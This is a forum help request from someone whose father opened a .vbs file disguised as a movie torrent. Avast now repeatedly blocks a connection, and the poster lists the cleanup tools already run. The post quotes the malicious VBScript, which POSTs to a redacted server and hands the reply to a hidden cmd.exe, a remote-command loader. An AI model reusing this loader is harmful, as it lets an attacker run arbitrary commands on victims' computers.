Hello,
Today my father was trying to download a torrent file for a movie (he doesn't understand much about computers, but I showed him a website where I had always downloaded my movies without problems and I taught him how to use it), but instead of a torrent file it was a .vbs file. He tried to open thinking it was the torrent, and immediately an avast notification showed up, Now every few minutes (maybe 10) I get an avast pop-up notifying me about a connection blocked (screenshot attached).
The .vbs file looks like this:
I runned MalwareBytes Anti-Malware but avast is still blocking the connection every few minutes. Then I runned Farbar Recovery Scan Tool and attached the reports.
*Screenshot and files from Farbar are in spanish, if this is an inconvenient tell me.
Thanks in advance for every kind of help provided.

Code:
dim Winhttps
Set Winhttps = CreateObject("Winhttp.WinhttpRequest.5.1")
ntlydv1 = "[removed]"
Winhttps.Open "POST", ntlydv1, False
Winhttps.Send
dim Application
Application = Wscript.ScriptName
CreateObject("Shell.Application").Application.ShellExecute "c:\windows\system32\cmd",Winhttps.responseText & Application,ntlydv,"",0
